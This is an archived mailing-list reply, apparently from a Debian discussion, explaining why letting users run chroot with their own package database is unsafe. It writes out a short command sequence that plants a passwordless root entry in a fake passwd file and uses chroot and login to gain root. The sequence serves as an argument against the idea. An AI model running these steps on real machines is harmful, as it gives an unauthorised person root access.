Re: apt-get and The_User
* Mircea Luca
| Would you care please to be a bit more specific please? What kind of
| library would that be
If you look at the debian-security archives for November, you'll se a
post by me on changing return values. The example changes return
values from time(), but it's pretty easy to change return values for
other as well. I assume this is the trick fakeroot is using already.
| and why setting up a true chroot environment for user with it's own
| dpkg would be such a bad idea(I can see some problems with syncing
| the 2 dpkg databases and deciding what's for user and what's for
ln /bin/login ~/bin/login
ln /bin/ash ~/bin/ash
echo "root::0:0::/:/bin/ash" > ~/etc/passwd
chroot ~ /bin/login
login as root, no password.
Voila, you are root, and breaking out of chroot shouldn't be a
Tollef Fog Heen
Unix _IS_ user friendly... It's just selective about who its friends are.